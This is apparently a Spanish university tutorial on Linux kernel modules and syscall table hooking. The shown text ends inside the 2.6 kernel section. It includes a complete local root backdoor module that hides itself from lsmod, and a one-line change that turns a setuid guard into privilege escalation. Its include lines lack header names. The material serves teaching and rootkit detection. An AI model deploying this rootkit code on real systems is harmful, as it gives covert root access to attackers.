Kernel, Hacks Y Seguridad En Linux - Rootkits, Ids Y Honeypots

  • Uploaded by: Ortzi
  • 0
  • 0
  • May 2020
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Kernel, Hacks Y Seguridad En Linux - Rootkits, Ids Y Honeypots as PDF for free.

More details

  • Words: 11,154
  • Pages: 48
Kernel hacks y seguridad

J.M.P

KERNEL HACKS Y SEGURIDAD EN LINUX

Autor: Jose Miguel Porcel Gonzalez

Fecha elaboración: Diciembre 2005 – Enero 2006

Esta obra se rige por la licencia “CreativeCommons” disponible aquí: http://www.creativecommons.org/licenses/by-nc-sa/2.5/legalcode

Atribución. Debes reconocer y citar la obra de la forma especificada por el autor o el licenciante.

No Comercial. No puedes utilizar esta obra para fines comerciales. Licenciar Igual. Si alteras o transformas esta obra, o generas una obra derivada, sólo puedes distribuir la obra generada bajo una licencia idéntica a ésta.

Los derechos derivados del uso legítimo, del agotamiento u otras limitaciones o excepciones reconocidas por la ley no se ven afectados por lo anterior. Detalles: http://creativecommons.org/licenses/by-nc-sa/2.5/deed.es_CL NOTA: Salvo error u omisión el código de este documento se distribuye sin ningún tipo de garantia bajo licencia GNU GPL en su versión más reciente por debajo de la versión 3.

Kernel hacks y seguridad

J.M.P

ÍNDICE DE CONTENIDOS Kernel hacks 1) Preparando el entorno de trabajo • Obtener e instalar el código fuente del núcleo 2) Conceptos básicos 3) Loadable Kernel Modules • Compilación de LKM's para la serie 2.4.x 4) Sys_call_table[] en kernels 2.2 y 2.4 5) Protegiendo el UID 0 6) Backdoor local para kernels 2.4.x 7) Módulos para la serie 2.6 del núcleo • Compilación de LKM's para la serie 2.6.x 8) No exportación de la Sys_call_table[] para núcleos 2.6.x • Otra alternativa ¿más sencilla? 9) Hooks y hacks de interés (algunas ideas) 10) Rootkits: visión general • Ejemplo de un rootkit moderno: “Adore-ng” • Medidas de protección y detección de rootkits Conclusiones NIDS: Snort 1) Preparando el entorno de trabajo 2) Configuración básica de Snort 3) Descargando nuevas reglas de Inernet 4) Prevención de intrusiones 5) Usando ACID + Snort • Creando nuevas reglas para Snort Conclusiones Honeypots 1) Preparando el entorno de trabajo 2) Creando nuevos sistemas virtuales 3) Otros usos • Listado de programas y/o utilidades para el análisis de redes y auditorias Conclusiones Bibliografía y recursos en Internet

Kernel hacks y seguridad

J.M.P

NOTA: El presente documento ha sido realizado por el autor de forma íntegra, no obstante alguna información de la que aparece ha sido utilizada por el autor del documento en otras ocasiones (aunque no en la misma forma ni en la totalidad del contenido) para otros trabajos personales publicados en la red u otros medios de comunicación con anterioridad. Dichos documentos pueden estar regidos, o no, por la misma licencia del presente documento. Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea ajeno serán citadas de forma explícita y/o debería aparecer al final del presente documento. Para la realización de algunos diagramas se usó la herramienta “DIA” y para escribir el documento se usó “OpenOffice”, no obstante es posible distribuir el documento en cualquier otro formato siempre y cuando se respete su licencia y su contenido. El trabajo no está exento de errores e imperfecciones, cualquier crítica constructiva (a modo de “feedback”) será bien recibida. Existe una presentación (“diapositivas”) adjunta al documento que amplia (ligeramente) y sintetiza ciertos aspectos del documento y que lo complementa. Está disponible de igual forma en la red de Internet y se usó para la exposición (de una charla) presentando el trabajo en una Universidad.

Kernel hacks y seguridad

J.M.P

Introducción

En 1991 alguien llamado Linus B. Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento. Como es de imaginar el sistema M$ DOS cutre de la época no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) así que Linus cogió otro sistema llamado "Minix" con A. Tanembaum como principal desarrollador y empezó a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponíamos de la versión de Linux (contracción Linus + Unix) 0.01 que estaba muy lejos de ser lo que es hoy este potente sistema operativo. La primera versión oficial (la 0.02) data del 5 de Octubre de 1991 y ya permitía ejecutar ciertos programas 'GNU' como 'bash'. Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versión "estable" 1.0 de nuestro querido sistema operativo de forma totalmente independiente y libre :-) En este trabajo voy a tratar ciertos aspectos sobre la seguridad del núcleo tanto en versiones recientes 2.6 como en las no tan recientes series 2.2 y 2.4 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad.

Kernel hacks y seguridad

J.M.P

1.- Preparando el entorno de trabajo Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento será necesario tener en consideración una serie de requisitos previos: •

Para poder trabajar con un Kernel de Linux necesitamos algo fundamental... esto es, un Kernel :-) concretamente necesitamos los sources de las series 2.4 y 2.6 para ir bien. Resulta de interés tener dos SO corriendo, usaremos Qemu o VMWare.



Necesitaremos a ser posible un depurador como GDB, o cualquier otro que corra bajo Linux.



Compilador GCC en una versión reciente.



Tener soporte para Loadable Kernel Módules habilitado en el núcleo actual.



Un editor para el código fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario.



Nociones elevadas de C y programación a bajo nivel son altamente recomendables.

1.1.- Obtener e instalar el código fuente del núcleo El código fuente del núcleo se puede obtener de los CD's de instalación de nuestra distribución o bien a través de Internet en la URL: http://www.kernel.org Una vez descomprimido el contenido del “tarball” en /usr/src procedemos a crear un enlace simbólico en el mismo directorio apuntando a las fuentes del núcleo que vayamos a compilar y que posteriormente tras su compilación e instalación será ejecutado al reiniciar la máquina. ln –s /usr/src/linux-$(uname –r) linux Teniendo eso en cuenta: root# cd /usr/src 1. Descargamos el código fuente del Kernel en /usr/src 2. Descomprimimos el contenido según convenga: tar jxvf linux-2.x.x 3. Compilamos el núcleo con las opciones adecuadas: # cd /usr/src/linux # make menuconfig # make && make modules_install # cp ./arch/i386/boot/bzImage /boot/kernel-2.x.x editamos nuestro gestor de arranque como sea necesario. (reiniciamos la máquina)

Kernel hacks y seguridad

J.M.P

2.- Conceptos básicos Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del núcleo "ls /usr/src/linux" y observar que el código sigue una organización muy concreta donde por ejemplo "fs" contiene los sistemas de archivos, "init" es el main() de Linux, "kernel" contiene las principales llamadas al sistema, "lib" diversos módulos y "arch" el código dependiente de la arquitectura, son algunos de los directorios que aparecen. Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables, especialmente lo referente a punteros y punteros a funciones. Por ese motivo y a continuación se presenta el primer listado que pretende refrescar estos puntos. 1. #include<stdio.h> 2. #define A 34 3. #define B 40 4. /* puntero a una func. */ 5. int (*ptr_f) (int, int); 6. /* func. sumar dos enteros */ 7. int 8. f_test (int a, int b) 9. { return (a + b);} 10. 11. int 12. main (void) 13. { 14. int suma = 0; 15. int *suma_ptr = NULL; 16. printf ("f_test() reside en:0x%x\n", f_test); 17. printf ("ptr_f apunta a:0x%x\n", ptr_f); 18. /* apuntamos a f_test(int,int) */ 19. ptr_f = f_test; 20. printf ("ptr_f apunta a @f_test()"); 21. printf ("*ptr_f() se ejecuta\n"); 22. /* call @ptr_f -> f_test */ 23. suma = (*ptr_f) (A, B); 24. /* suma_ptr -> @suma */ 25. suma_ptr = &suma; 26. printf ("la variable 'suma' se encuentra en (@0x%x)\n", &suma); 27. /* contenido de @suma_ptr ? */ 28. printf ("...contiene el valor:%d\n", *suma_ptr); 29. return 0; 30. }

El código es bastante simple, dados dos números los suma mostrando cierta información al respecto. Las partes interesantes ahí son las líneas 5, 19, 25 y 23. $gcc listado.c -o listado $./listado f_test() reside en:0x80483cc ptr_f apunta a:0x0 ptr_f apunta a @f_test()*ptr_f() se ejecuta la variable 'suma' se encuentra en (@0xbfde8170) ...contiene el valor:74

Kernel hacks y seguridad

J.M.P

Kerneland y Userland Como es de imaginar el núcleo del sistema operativo se encuentra en un modo privilegiado para operar con la máquina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al núcleo para que realice por nosotros aquellas cosas que no se nos está permitido hacer de forma directa, a la zona de memoria del núcleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o "userland" Si estando en el espacio del kernel cometemos algún fallo o saltamos a una dirección de memoria equivocada es más que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino "kernel panic" y un festival de volcados de memoria que obligarán a reiniciar la máquina, en el peor de los casos no tendrás los discos sincronizados y la máquina se reiniciará de inmediato por lo que se recomienda hacerlo (comando 'sync' desde la consola) con el fin de no perder aquellos datos no volcados aún al disco y demás. Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo haríamos en nuestros programas habituales dentro del espacio de usuario, pero de todas formas eso lo veremos en breve en el presente trabajo.

Archivos de cabecera Aquellos archivos de cabecera usados por el preprocesador de C se sitúan en el directorio /usr/include y definirán la interfaz de aquellos programas que son compilados, aquí entraría por ejemplo “<stdio.h>.” Estos archivos de cabecera (o "headers" en inglés) se enlazan con la biblioteca de C que es distribuida de forma independiente al núcleo, por otro lado el Kernel también dispone de archivos de cabecera que se usan para su compilación y que se encuentran en '/usr/src/linux/include' aquí tenemos el directorio 'linux' que contiene declaraciones que no dependen de la arquitectura y 'asm' para las que sí dependen de la arquitectura.

Llamadas al sistema En primer lugar ¿qué es una llamada al sistema? Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del núcleo para trabajar con la máquina con total libertad. De ésta manera podemos definir una llamada al sistema como la petición transmitida por un proceso al núcleo que trata esta petición con todos los privilegios, devuelve un resultado al proceso y lo hace seguir de forma normal. Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instrucción concreta (Int 0x80) que le hace pasar al modo núcleo y así atender su propia llamada al sistema mediante cierta rutina del núcleo, por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario.

Kernel hacks y seguridad

J.M.P

3.- Loadable Kernel Modules

Existen varios componentes en el núcleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos, por ejemplo si ningún usuario necesita trabajar con particiones NTFS podemos no cargar el módulo que nos permite trabajar con el sistema de ficheros NTFS, sin embargo, cualquier cosa que modifiquemos del núcleo como añadir o eliminar algún gestor de dispositivo implicarían tener que recompilar el núcleo si no disponemos de una manera de "extenderlo" en caliente.

Afortunadamente, sí disponemos de los módulos cargables del kernel o "Loadable Kernel Modules" (LKM a partir de ahora) que nos permiten dotar de modularidad al núcleo. Estos LKM's se integrarán dinámicamente en el Kernel si los necesitamos o también cuando insertamos un módulo a mano, sólo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio núcleo claro está.

Para cargar y descargar módulos tenemos a nuestra entera disposición (como root) dos comandos que son 'insmod lmk.o' para insertar y 'rmmod lkm' para descargar un módulo estos programas pueden diferir según el tipo de Kernel que tengas, para cada caso necesitarás instalar los adecuados. En el caso de la serie 2.6 los módulos se insertan mediante 'insmod lmk.ko' en lugar de ".o", en cualquier momento puede verse que módulos hay cargados mediante 'lsmod'.

Pero la verdad es que todo eso así sin más no tiene demasiado sentido lo mejor será dar paso al siguiente listado que iré explicando paso a paso y que es válido para los núcleos de la serie 2.2 y 2.4 también lo es - de hecho - para la serie 2.6 pero existen ciertas particularidades a tener en cuenta así que lo trataré más adelante por separado. 1. #define MODULE 2. #define __KERNEL__ 3. #include 4. #include 5. #include 6. MODULE_PARM(parm_entero, "i"); 7. int parm_entero; 8. 9. int init_module() { 10. printk("LKM cargado!\n"); 11. printk("parm_entero vale:%i\n", parm_entero); 12. return 0; 13. } 14. 15. void cleanup_module() { 16. printk("LKM descargado!\n"); 17. } 18. MODULE_LICENSE("GPL"); 19. MODULE_AUTHOR("Jose Miguel Porcel G.");

Kernel hacks y seguridad

J.M.P

3.1- Compilación de LKM's para la serie 2.4.x Tenemos un módulo que compilar, para ello usaremos gcc pero no de la misma forma con la que compilarías un programa normal en C. Para compilar el ejemplo anterior deberás usar algo como lo siguiente asumiendo que "/usr/src/linux" apunta al directorio con las fuentes del kernel: root# gcc -c listado2.c -I /usr/src/linux/include

lo que nos genera un fichero "listado2.o" (fichero objeto) listo para ser insertado. root# insmod listado2.o parm_entero=5 podriamos obtener información sobre el módulo mediante: modinfo <modulo.o> Es posible que al intentar insertar el módulo te haya dicho algo así como que no encuentra la versión del Kernel o que la versión del Kernel para la que fue compilado el LKM no coinciden, se puede solucionar esto editando "/usr/src/linux/include/linux/version.h" y adaptarlo para que sea la misma versión que la indicada por 'uname -r' es una medida para salir del paso pero funcionará.

Explicación: En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilará debidamente ya que lo que estamos compilando es un módulo que será insertado en el Kernel, de esas tres macros que son "MODULE_PARM", "MODULE_AUTHOR" y "MODULE_LICENSE" la única que merece una explicación es MODULE_PARM ya que nos permite pasar parámetros al módulo, estos parámetros pueden ser de tipo 'i' (int) o bien 'h' (short), 's' (string), 'l' (long), etc. Supongo que el ejemplo ilustra como son pasados los parámetros por lo que no nos entretendremos más con eso. Luego tenemos dos rutinas que son "init_module()" y "cleanup_module()" la primera se ejecuta al cargar el módulo y la segunda es una rutina de supresión con descarga. Otra cosa a destacar es que no usamos "printf()" para imprimir mensajes sino que usamos "printk()" puesto que estamos trabajando dentro del espacio del núcleo y a más bajo nivel. Acabo de decir que usamos printk para imprimir mensajes... el caso es que los LKM's no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra ¿entonces qué pasa? Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog. Se podrán ir viendo los mensajes logueados y registrados en "/var/log/messages/".

Kernel hacks y seguridad

J.M.P

4.- Sys_call_table[] en kernels 2.2 y 2.4 Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro módulo: extern void *sys_call_table[];

Con eso ya es posible acceder al vector que sirve de contenedor para saber dónde tenemos que saltar en la memoria al realizar llamada. Nadie dice que no podamos usar nosotros ese vector y enganchar ("hook") literalmente una rutina que se ejecutaría en lugar de la supuesta syscall a la que se llamo :-) Listado 3: 1. #define MODULE 2. #define __KERNEL__ 3. #include 4. #include 5. #include 6. #include 7. extern void *sys_call_table[]; 8. long (* hook_chmod)(const char *fichero); 9. 10. long mi_chmod(const char *fichero){ 11. printk("[!] CHMOD inhibido.\n"); 12. return 0; 13. 14. 15. } 16. int init_module() { 17. printk("LKM Listo y funcionando.\n"); 18. hook_chmod=sys_call_table[__NR_chmod]; 19. sys_call_table[__NR_chmod]=mi_chmod; 20. printk("@SYS_chmod: 0x%p\n",hook_chmod); 21. return 0; 22. 23. } 24. 25. int cleanup_module(){ 26. printk("Descargando...\n"); 27. sys_call_table[__NR_chmod]=(void *)hook_chmod; 28. 29. } 30. MODULE_LICENSE("GPL"); 31. MODULE_AUTHOR("Jose Miguel Porcel G."); 32. MODULE_DESCRIPTION("Ejemplo de hook, anula chmod");

Si ahora un usuario intenta hacer "chmod" para modificar los atributos de un fichero por ejemplo "chmod a+rx fichero" podrá observar como no surge ningún tipo de efecto, no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostrará el mensaje por pantalla indicando el evento. El funcionmiento se explica a continuación.

Kernel hacks y seguridad

J.M.P

Resulta que he creado un puntero a una función (man chmod) de manera que al inicializar el LKM he guardado en "hook_chmod" la dirección de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el módulo (queremos seguir usando el verdadero chmod después de jugar :P) y a continuación hemos redireccionado __NR_chmod a la dirección de memoria donde tenemos nuestra función (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesará la rutina mi_chmod en lugar de la verdadera función chmod, de ahí que no tenga efecto el comando chmod mientras tengas el LKM cargado. ¿De dónde se sacan los nombres de las syscalls? Basta con mirar $cat

/usr/src/linux/include/linux/asm/unistd.h|less

Allí encontramos parejas de syscalls y número identificador, chmod es la 15 en mis fuentes. Si además tienes algo más de tiempo, yo sugiero echar otro vistazo a "/usr/src/linux/include/linux/syscalls.h". Si podemos referirnos a las syscalls con __NR_ es porque usamos .

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante "kmalloc()" y "kfree()" así como la manera de pasar datos desde el espacio de usuario a la memoria del núcleo y al revés gracias a las funciones "__generic_copy_from_user" y "__generic_copy_to_user" respectivamente, "memset" se utiliza para llenar la memoria con un byte constante y "GFP_KERNEL" indica el tipo de asignación de memoria para el núcleo. Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por "jmphack" al hacer 'mv origen destino', hay que procurar no sobrescribir ficheros y descargar el módulo cuando se haya visto que funciona usando rmmod.

La nueva cabecera añadida aquí para los tratamientos mencionados justo arriba viene a ser:

1. 2. 3. 4. 5. 6. 7.

#define MODULE #define __KERNEL__ #include #include #include #include #include

// sigue listado 4

Kernel hacks y seguridad

J.M.P

// continuando listado 4 8. extern void *sys_call_table[]; 9. int (*hook_mv)(const char *desde, const char *hasta); 10. 11. int mi_mv(const char *desde, const char *hasta) { 12. char *kbuff1=(char *)kmalloc(strlen(desde)+1, GFP_KERNEL); 13. memset(kbuff1, 0, strlen(desde)+1); 14. /* importante no dejarnos el +1 del final sino la liamos */ 15. __generic_copy_from_user(kbuff1, desde, strlen(desde)+1); 16. __generic_copy_to_user(hasta,"jmphack"); 17. kfree(kbuff1); 18. return((*hook_mv)(desde, hasta)); 19. } 20. 21. int init_module() { 22. printk("LKM cargado!\n"); 23. hook_mv=sys_call_table[__NR_rename]; 24. sys_call_table[__NR_rename]=mi_mv; 25. return(0); 26. } 27. 28. void cleanup_module() { 29. printk("LKM descargado!\n"); 30. sys_call_table[__NR_rename]=hook_mv; 31. } 32. MODULE_LICENSE("GPL"); 33. MODULE_AUTHOR("Jose Miguel Porcel G."); 34. MODULE_DESCRIPTION("Hook a rename()");

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos, no resulta complicado averiguar como trabaja el sistema con los procesos, los ficheros y demás para poder - por ejemplo - ocultar un fichero o incluso el propio módulo en la memoria, todo esto y algo más lo vemos a continuación.

Kernel hacks y seguridad

J.M.P

5.- Protegiendo el UID 0 Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora, sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root. En el siguiente código se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado, esto permite en ciertos casos sumar un punto a la seguridad del sistema.

Cabe destacar que el LKM que se muestra es para la serie 2.4 y habrá que adaptarlo después para la serie 2.6, no obstante solamente habrá que esperar un poco antes de ver eso. 1. #define MODULE 2. #define __KERNEL__ 3. #include 4. #include 5. #include 6. #include 7. #include 8. extern void *sys_call_table[]; 9. long (* hook_suid)(uid_t uid); 10. 11. long nosuid(uid_t uid){ 12. 13. int res; 14. if (current->uid && !uid){ 15. printk("[ALERTA] Ejecutado setuid 0 desde un usuario no root!\n"); 16. printk("info: PID(%i) PGRP(%i) E/UID (%i , %i) => %i

[DENEGADO]\n",

17. current->pid, 18. current->pgrp, 19. current->euid, 20. current->uid, 21. uid); 22. res=(* hook_suid)(current->uid); 23. } 24. res=(* hook_suid)(uid); 25. } 26. int init_module() { 27. printk("LKM Listo y funcionando.\n"); 28. hook_suid=sys_call_table[__NR_setuid32]; 29. sys_call_table[__NR_setuid32]=nosuid; 30. return 0; 31. } 32. 33. int cleanup_module(){ 34. printk("Descargando...\n"); 35. sys_call_table[__NR_setuid32]=hook_suid; 36. } 37. MODULE_LICENSE("GPL"); 38. MODULE_AUTHOR("Jose Miguel Porcel G."); 39. MODULE_DESCRIPTION("Controla setuid 0");

Kernel hacks y seguridad

J.M.P

Insertamos el módulo y probamos:

root# su linux ; linux$ su root ; linux$ tail /var/log/messages

La novedad en el código anterior es en primer lugar que el código es ligeramente más útil :P y luego que he usado "current" para referirnos a nosotros mismos, es decir, al proceso en ejecución en un instante determinado, es por eso que he incluido "". Si miramos ahí dentro tenemos una gran estructura "task_struct" que caracteriza a un proceso, no la muestro aquí porque es un poco grande como para reproducirla ahora.

Modificando el código anterior ligeramente, justo en la línea 22, por:

res=(* hook_suid)(0);

hacemos que un usuario no privilegiado pase a elevar sus privilegios, sin más.

En el siguiente apartado hacemos algo más serio, se trata de un backdoor para los núcleos de la serie 2.4 y que luego adaptaré también a la serie 2.6, con todo lo que eso conlleva. Para ello vamos a manipular la syscall SYS_KILL creando un nuevo “signal” que será muy especial :-)

Otra utilidad para SYS_KILL sería evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de señales (como kill -9) frente a cualquier usuario, privilegiado o no.

Kernel hacks y seguridad

J.M.P

6.- Backdoor local para kernels 2.4.x

Con todo lo visto en los códigos de arriba está totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root, de hecho un LKM es una forma muy elegante de hacerlo. En el siguiente listado veremos un módulo que dará privilegios efectivos de root (euid=0) al user que intente mandar la señal '-0' mediante 'kill' a un proceso con un pid determinado por "COOLPID" - aquí con poco sentido poner 00000 = 0 -, bastará con ejecutar lo siguiente:

linux$ kill -0 00000 (al hacer 'id' vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un módulo cargado (hacer lsmod y ver “backdoor” canta un poco) por lo que al inicializar la carga del mismo haremos que "desaparezca" el como lo explico a continuación después de mostrar un poco el código que aunque está claro que es infinitamente mejorable como ejemplo es perfecto.

Kernel hacks y seguridad

J.M.P

// backdoor local 1 kernels 2.2 / 2.4 1. #define __KERNEL__ 2. #define MODULE 3. #include 4. #include 5. #include 6. #include 7. #include 8. #define COOLPID 00000 9. /* no queremos exportar los simbolos ;) */ 10. EXPORT_NO_SYMBOLS; 11. extern void *sys_call_table[]; 12. int (*killsysc)(pid_t pid,int sig); 13. /* nos da root si kill -0 COOLPID*/ 14. int hook(pid_t pid,int sig){ 15. if (sig==0 && pid== COOLPID) { 16. current->euid=0; 17. current->uid=0; 18. } 19. return 0; 20. } 21. /* carga */ 22. int init_module() 23. { /* ocultamos el LKM */ 24. struct module *yo = &__this_module, 25. *secuestrado = NULL; 26. secuestrado = yo->next; 27. /* no pudo ser */ 28. if (!secuestrado) return -1; 29. /* su DNI por favor ? */ 30. yo->name = secuestrado->name; 31. yo->flags = secuestrado->flags; 32. yo->size = secuestrado->size; 33. yo->next = secuestrado->next; 34. /* hook */ 35. killsysc=sys_call_table[__NR_kill]; 36. sys_call_table[__NR_kill]=hook; 37. return 0; 38. } 39. /* descarga */ 40. int cleanup_module() 41. { 42. /* dejamos las cosas en orden */ 43. sys_call_table[__NR_kill]=killsysc; 44. return 0; 45. } 46. /* publicidad */ 47. MODULE_LICENSE("GPL"); 48. MODULE_AUTHOR("Jose Miguel Porcel G."); 49. MODULE_DESCRIPTION("backd00r local simple para 2.2.x y 2.4.x");

En primer lugar ¿qué es ese "EXPORT_NO_SYMBOLS" ? Resulta que al insertar el módulo nuestras con nuestras funciones se exportan y así los símbolos pueden ser usados por otros módulos, si ejecutas: $cat /proc/ksyms

Kernel hacks y seguridad

J.M.P

Verás la lista de símbolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor, no cuesta nada NO exportar los símbolos mediante esa macro. Resulta interesante echar un vistazo a "" porque de ahí he sacado la información para la estructura "module" que he utilizado – entre otras cosas- para ocultar el módulo. Como el Kernel guarda una lista simple enlazada con los módulos cargados es muy fácil reajustar los punteros al módulo siguiente para eliminar un elemento existente. Al insertar un nuevo módulo éste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio, la solución como se puede ver no es compleja de entender, lo que hacemos es coger el siguiente módulo a nosotros en la lista, obtener sus propiedades (las que 'lsmod' muestra) y sacar al módulo suplantado de la lista enlazada lo que no deshabilita el módulo simplemente lo oculta, se trata de un camuflaje simple pero funciona y eso es lo que vale. El resto del código es lo que vengo haciendo, hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a "hook (pid_t,pid)" que verifica si "pid_t = 0 y pid = COOLPID" si es así establece los privilegios del proceso a uid =0 (root) y euid=0, la auténtica llamada a kill se omite.

Ahora voy a tratar cosas más serias al empezar con los módulos para el kernel 2.6.x, los cambios no son muchos y es fácil una vez visto como se soluciona cierto asunto, como podemos ajustar los módulos anteriores para que funcionen en un nuevo Kernel de la serie 2.6.

Kernel hacks y seguridad

J.M.P

7.- Módulos para la serie 2.6 del núcleo

Lo mejor para empezar es ver un listado de código:

// Primer ejemplo de un LKM para la serie 2.6 1. #include 2. #include 3. #include 4. static int __init carga(void) 5. { 6. printk(KERN_INFO "LKM preparado!\n"); 7. return 0; 8. } 9. static void __exit descarga(void) 10. { 11. printk(KERN_INFO "Nos vamos...\n"); 12. } 13. module_init(carga); 14. module_exit(descarga);

Lo que se nota rápidamente es que he añadido "" para las macros "module_init" y "module_exit", el caso es que el método usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos. Otra cosa, he añadido ahí "KERN_INFO" a printk cosa que hasta ahora no había hecho, y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad "DEFAULT_MESSAGE_LOGLEVEL" mirando el fichero kernel.h solucionamos dudas sobre esto, muestro en todo caso las prioridades ordenadas de mayor a menor: KERN_EMERG KERN_ALERT KERN_CRIT KERN_ERR KERN_WARNING KERN_NOTICE KERN_INFO KERN_DEBUG

<0> <1> <2> <3> <4> <5> <6> <7>

No aparecen arriba "#define __KERNEL__" y "MODULE" ya que si lo haces seguramente se te advertirá de que las declaraciones están redefinidas.

Kernel hacks y seguridad

J.M.P

Compilación de LKM's para la serie 2.6 En primer lugar necesitaremos crear un fichero llamado "Makefile" cuyo contenido sea: obj-m := modulo.o Explicar ahora el funcionamiento de los Makefile y demás escapa de las pretensiones de éste trabajo pero basta con saber que "modulo.o" es el nombre del LKM que deseamos compilar.

Hecho esto y situados en un directorio que contiene tanto el "modulo.c" como el fichero Makefile ejecutamos lo siguiente: root# make -C /usr/src/linux SUBDIRS=$PWD modules Una vez terminado el proceso tenemos un "modulo.ko" generado listo para insertar de manera habitual con 'insmod', para eliminar el módulo se hace de igual forma con 'rmmod'.

8.- No exportación de la Sys_call_table[] para núcleos 2.6.x Resulta que la famosa Sys_call_table que usábamos para enganchar las syscalls ya no está disponible para su uso indiscriminado... así que todo esto nos va a suponer un poco más de trabajo. Encontrando la Sys_call_table[] Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave: Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa. Internamente Linux y nuestra máquina usan el vector 128 (Int 0x80) para las llamadas al sistema. Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepción o una interrupción, el registro "idtr" (en arquitectura x86) contiene la dirección de la base de la IDT. Linux utiliza dos tipos de descriptores las "Trap Gates" y las "Interrupt Gates" de manera que los "Gate Descriptors" (traducido "descriptores de puerta o pasarela") sirven como identificador para la dirección de una interrupción o manejadores de excepciones. Aquí hemos notado muchas veces que ocurrirá un "fallo de protección general" cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa. Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o "DPL" vale 3 para las "System Gates" y 0 para "Trap Gates" por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario.

Kernel hacks y seguridad

J.M.P

Resumiendo: Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida ¿definida dónde? pues en "arch/i386/entry.S" gentileza del propio Linus Torvalds :-) El hack Lo ideal sería que editar (sólo lectura) "arch/i386/entry.S" para buscar una parte igual o muy similar a la que muestro, en la serie 2.4 cambia ligeramente pero la idea es la misma. /usr/src/linux/arch/i386/kernel/entry.S Líneas 225 a 259 de mi kernel 2.6.14, sobre la 277 en versiones 2.6.9 y otras – por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo. # system call handler stub 1. ENTRY(system_call) 2. pushl %eax # save orig_eax 3. SAVE_ALL 4. GET_THREAD_INFO(%ebp) 5. testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_ flags(%ebp) 6. jnz syscall_trace_entry 7. cmpl $(nr_syscalls), %eax 8. jae syscall_badsys 9. syscall_call: 10. call *sys_call_table(,%eax,4) 11. movl %eax,EAX(%esp) 12. syscall_exit: 13. [... continúa]

He omitido algunos comentario del fichero y demás por brevedad. Atención, en la línea que va justo después de la etiqueta "syscall_call:" ahí lo que hace es hacer una llamada pasando en el registro EAX el número de la syscall. En el mismo fichero entry.S más abajo debería haber algo como lo que sigue, esto era cierto hasta las versiones 2.6.9 y otras, pero recientemente y una vez más esto ha cambiado un poco y ahora tenemos en mi kernel 2.6.14 un fichero: “syscall_table.S” en el mismo lugar que contiene una tabla con las llamadas al sistema, no sabría decir si es más cómodo o no pero lo cierto es que lo deja con un aspecto más bonito para trabajar. Esto es parte de su contenido:

Kernel hacks y seguridad

J.M.P

